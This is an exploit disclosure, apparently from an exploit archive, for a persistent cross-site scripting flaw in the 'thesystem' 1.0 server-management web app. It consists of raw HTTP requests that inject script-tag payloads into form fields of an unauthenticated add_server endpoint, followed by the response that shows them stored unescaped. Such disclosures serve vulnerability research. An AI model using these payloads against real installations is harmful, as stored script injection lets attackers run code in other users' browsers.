Share
# Exploit Title: thesystem Persistent XSS   
# Author: Anıl Baran Yelken   
# Discovery Date: 2019-09-28   
# Vendor Homepage: https://github.com/kostasmitroglou/thesystem   
# Software Link: https://github.com/kostasmitroglou/thesystem   
# Tested Version: 1.0   
# Tested on OS: Windows 10   
# CVE: N/A   
# Type: Webapps   
# Description:   
# Persistent XSS after login bypass(login_required didn't used)   
  
First of all, I send a request add_server   
POST /add_server/ HTTP/1.1   
Host: 127.0.0.1:8000   
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0   
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8   
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3   
Accept-Encoding: gzip, deflate   
Content-Type: multipart/form-data; boundary=---------------------------3902153292   
Content-Length: 1205   
Connection: close   
Referer: http://127.0.0.1:8000/add_server/   
Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.1.567905900.1569231977; _gid=GA1.1.882048829.1569577719   
Upgrade-Insecure-Requests: 1   
-----------------------------3902153292   
Content-Disposition: form-data; name="csrfmiddlewaretoken"   
S5HLlkGrTnGH2FHIP4ry58Mw8Rw9KiPF3j6wIQ5tQvzMLmZTLAayAVs4Htg6OCRn   
-----------------------------3902153292   
Content-Disposition: form-data; name="operating_system"   
<script>alert("kale1")</script>   
-----------------------------3902153292   
Content-Disposition: form-data; name="ip_address"   
127.0.0.1   
-----------------------------3902153292   
Content-Disposition: form-data; name="system_port"   
22   
-----------------------------3902153292   
Content-Disposition: form-data; name="system_owner"   
<script>alert("kale2")</script>   
-----------------------------3902153292   
Content-Disposition: form-data; name="system_username"   
<script>alert("kale3")</script>   
-----------------------------3902153292   
Content-Disposition: form-data; name="system_password"   
<script>alert("kale4")</script>   
-----------------------------3902153292   
Content-Disposition: form-data; name="system_description"   
<script>alert("kale5")</script>   
-----------------------------3902153292   
Content-Disposition: form-data; name="server_name"   
<script>alert("kale6")</script>   
-----------------------------3902153292--   
  
After I send a request show_server_data   
GET /show_server_data/ HTTP/1.1   
Host: 127.0.0.1:8000   
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0   
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8   
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3   
Accept-Encoding: gzip, deflate   
Connection: close   
Referer: http://127.0.0.1:8000/data/   
Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.1.567905900.1569231977   
Upgrade-Insecure-Requests: 1   
  
And I showed persistent XSS:   
HTTP/1.1 200 OK   
Date: Sat, 28 Sep 2019 09:51:04 GMT   
Server: WSGIServer/0.2 CPython/3.5.3   
Content-Length: 437   
Content-Type: text/html; charset=utf-8   
X-Frame-Options: SAMEORIGIN   
(23, 'test', '192.168.1.4', '22', 'test@test', 'root', '1234', 'test', 'test', '2019-09-26')(24, '<h1>Unix', '192.168.1.5', '22', 'test@test', 'root', '1234', 'test2', 'test2', '2019-09-26')(25, '<script>alert("kale1")</script>', '127.0.0.1', '22', '<script>alert("kale2")</script>', '<script>alert("kale3")</script>', '<script>alert("kale4")</script>', '<script>alert("kale5")</script>', '<script>alert("kale6")</script>', '2019-09-28')